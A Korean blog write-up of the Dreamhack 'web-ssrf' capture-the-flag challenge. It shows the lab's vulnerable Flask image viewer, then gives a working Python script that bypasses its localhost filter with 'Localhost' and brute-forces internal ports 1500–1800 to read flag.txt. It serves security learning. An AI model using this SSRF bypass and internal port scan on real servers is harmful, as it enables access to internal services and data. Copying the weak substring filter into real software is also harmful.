본문 바로가기
드림핵

드림핵 web-ssrf 문제 풀이

by jwcs 2023. 2. 17.
728x90

 

 

web-ssrf

flask로 작성된 image viewer 서비스 입니다. SSRF 취약점을 이용해 플래그를 획득하세요. 플래그는 /app/flag.txt에 있습니다. Reference Server-side Basic

dreamhack.io

ssrf란 Server Side Request Forgery의 약자로 사이트간 요청을 위조하는 공격 기법이다. 오늘 드림핵으로 맛을 보자.

초기 화면이다

/img_viewer

img_viewer로 들어갔을 때의 모습이다.

해당 경로에 있는 이미지 파일을 가져오는 것으로 보인다.

시험삼아 flag.txt를 바로 넣어보자

뭔가 나왔다

base64로 해석해보자

에러다 역시 쉽게 안풀린다. 이제 코드를 확인해보자

 

#!/usr/bin/python3
from flask import (
    Flask,
    request,
    render_template
)
import http.server
import threading
import requests
import os, random, base64
from urllib.parse import urlparse

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()  # Flag is here!!
except:
    FLAG = "[**FLAG**]"


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
    if request.method == "GET":
        return render_template("img_viewer.html")
    elif request.method == "POST":
        url = request.form.get("url", "")
        urlp = urlparse(url)
        if url[0] == "/":
            url = "http://localhost:8000" + url
        elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
            return render_template("img_viewer.html", img=img)
        try:
            data = requests.get(url, timeout=3).content
            img = base64.b64encode(data).decode("utf8")
        except:
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
        return render_template("img_viewer.html", img=img)


local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
    (local_host, local_port), http.server.SimpleHTTPRequestHandler
)


def run_local_server():
    local_server.serve_forever()


threading._start_new_thread(run_local_server, ())

app.run(host="0.0.0.0", port=8000, threaded=True)

전체 코드다

 

elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
            return render_template("img_viewer.html", img=img)

localhost를 이용한 위조 요청 필터링을 확인할 수 있다. 그렇다면 어떻게 우회가 가능할까?

드림핵에서 긁어온 결과 이 정도 된다. 이 중 필자는 Localhost를 이용하여 문제를 풀어보겠다.

 

local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
    (local_host, local_port), http.server.SimpleHTTPRequestHandler
)

다음으로 확인해야할 것은 포트다. 1500~1800 사이에 로컬 포트를 할당하는 것을 확인할 수 있다. 필자는 무차별 대입으로 이를 해결할 것이다. 이를 위해선 코드를 짜보자.

 

import requests

no = 'iVBORw0KGg'
for port in range(1500, 1801):
    url = 'http://host3.dreamhack.games:13575/img_viewer'
    image_url= 'http://Localhost:'+str(port)+'/flag.txt'
    data = { "url" : image_url }
    response = requests.post(url, data).text
    if no in response:
        print(str(port))
    else:
        print(str(port), 'find')
        break

천천히 해석해보자 

no = 'iVBORw0KGg'

이것은 무엇을 의미할까?

열려있지 않은 포트로 flag.txt에 접근했을 때의 모습이다. 잘 안보이지만 이미지의 source가

iVBORw0KGg.....

으로 되어있다. 따라서 위와 같은 source로 응답이 온다면 닫혀있는 포트에 접속을 시도했다는걸 알 수 있다.

 

for port in range(1500, 1801):

1500~1800까지 무차별 대입하는 모습

    url = 'http://host3.dreamhack.games:13575/img_viewer'
    image_url= 'http://Localhost:'+str(port)+'/flag.txt'
    data = { "url" : image_url }

localhost+port가 아닌 Localhost+port로 필터링을 우회하는 모습이다.

    response = requests.post(url, data).text
    if no in response:
        print(str(port))
    else:
        print(str(port), 'find')
        break

앞서 말했던 대로 닫혀 있는 포트인지 열려있는 포트인지 판별해주는 식이다. 열려있는 포트를 찾았다면 포트번호와 find를 출력하면서 반복문을 멈춘다.

실행된 모습이다. 1543포트로 접속을 시도해보자

아까와는 다른 이미지 source값이다. 이를 base64로 디코딩해보자.

해결!

 

 

 

 

 

"""

좀 더 공부해야할 것들

 

Q.왜 8000번 포트로 dream.png는 열리면서 flag.txt는 제대로 열리지 않는가

A.8000번 포트는 플라스크에서 사용하는 포트이다. 플라스크는 별다른 설정이 없다면 static 폴더를 사용해 정적 파일을 제공한다. 하지만 flag.txt는 static 폴더안에 존재하지 않는다. 따라서 8000번 포트로는 flag.txt를 열 수 없는 것이다.

 문제에서는 

local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
    (local_host, local_port), http.server.SimpleHTTPRequestHandler
)


def run_local_server():
    local_server.serve_forever()


threading._start_new_thread(run_local_server, ())

위와 같은 코드를 통해 파일을 제공해주는 기능을 가지고 있다. 위의 코드를 사용하여 다른 파일들도 열 수 있다.

 우선 http.server.HTTPServer() 함수는 파이썬의 내장 모듈인 http.server에 포함되어 있는 클래스이다. 간단한 HTTP 서버를 생성하고 관리하는 데 사용된다. 이 클래스를 사용하면 웹 서버를 만들고 클라이언트의 요청을 처리하며 응답을 제공할 수 있다. 해당 함수를 사용하기 위한 파라미터는 server_address와 RequestHandlerClass가 있다.

-sever_address는 일반적으로 튜플 형태로 (호스트, 포트)로 전달한다.

-RequestHandlerClass는 HTTP 요청을 처리하는 핸들러 클래스를 지정한다. 기본값은 http.server.BaseHTTPRequestHandler이다. 여기서는 http.server.SimpleHTTPRequestHandler가 사용되었다.

-http.server.SimpleHTTPRequestHandler는 간단한 정적 파일을 제공한다.

-serve_forever()는 서버를 시작하고 클라이언트의 연결을 기다리며 요청을 처리하는 메서드이다. 무한 루프 내에서 동작하며, 서버가 종료되거나 예외가 발생하기 전까지 계속해서 클라이언트 요청을 처리하고 응답한다.

 

위의 기능은 랜덤한 포트에 열려있다. 따라서 해당 기능을 사용하기 위해 포트를 찾기 위한 무차별 대입을 실행한 것이다.

"""

728x90
반응형